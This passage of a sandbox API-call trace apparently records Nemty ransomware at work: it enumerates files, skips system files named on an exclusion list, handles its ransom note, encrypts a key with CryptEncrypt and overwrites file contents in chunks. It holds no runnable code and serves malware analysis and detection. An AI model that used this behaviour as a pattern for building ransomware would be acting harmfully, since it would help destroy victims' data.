(lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0123.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0123.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0123.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0123.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0123.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0123.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0123.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0123.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0123.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0123.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0123.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340378 [0123.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0123.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.809] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd5cd9b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfd5cd9b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd5cd9b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0123.809] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0123.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340378 | out: hHeap=0x4f90000) returned 1 [0123.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f0 | out: hHeap=0x4f90000) returned 1 [0123.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340268 | out: hHeap=0x4f90000) returned 1 [0123.809] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0123.809] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1 [0123.809] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1 [0123.809] lstrcmpiW (lpString1="gadget.xml", lpString2="...") returned 1 [0123.809] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1 [0123.809] lstrcmpiW (lpString1="gadget.xml", lpString2="$RECYCLE.BIN") returned 1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="rsa") returned -1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="NTDETECT.COM") returned -1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="ntldr") returned -1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="MSDOS.SYS") returned -1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="IO.SYS") returned -1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="AUTOEXEC.BAT") returned 1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="desktop.ini") returned 1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="CONFIG.SYS") returned 1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="RECYCLER") returned -1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="BOOTSECT.BAK") returned 1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="programdata") returned -1 [0123.810] lstrcmpiW (lpString1="gadget.xml", lpString2="appdata") returned 1 [0123.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0123.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0123.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0123.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0123.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0123.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0123.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0123.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0123.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0123.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0123.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0123.810] Sleep (dwMilliseconds=0x5) [0123.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfd724610, dwHighDateTime=0x1d561e7)) [0123.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfd724610, dwHighDateTime=0x1d561e7)) [0123.815] GetLastError () returned 0x12 [0123.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.815] GetLastError () returned 0x12 [0123.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.815] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0123.815] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0123.815] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0123.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0123.815] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="LxeWrJsKUZVHxK+xj9peVDTJLg6p2V7ltxGtzsmPzbIyj/zaJZgBmC52eafYfxVM\r\n2IbXZTYsxmUqSfALYjCOhV8whRZpX8f0OGNBksR/t/Xc6PHjw3Mvb0TXoFWiK7+W\r\nSrm+Dw7jXzVCZ3K/bHQ5xUulB6s4mEKc0jHz/Eja1eygRH9CvzjTLKj8j/+hN3RN\r\n0VOhqd8ePwhsQ+oacPG6hwJAYyaBgU5Uklra86piRtnYXKzwi5HG78qsW4FMeVD+\r\nobSiM9KW3N/zfptJ4aPDP6etEs3rSCgVFtC8SQLAd5IMlDKFDll/eUguUriEnmbg\r\nKwUUmiw+/SZn3aBgBwrkcA==\r\n", pcchString=0x653e91c) returned 1 [0123.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0123.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0123.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0123.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0123.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0123.816] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0123.816] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0123.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0123.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.816] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.852] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.864] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.873] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.873] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.882] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.891] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.892] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.901] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.901] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.910] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.910] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.922] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 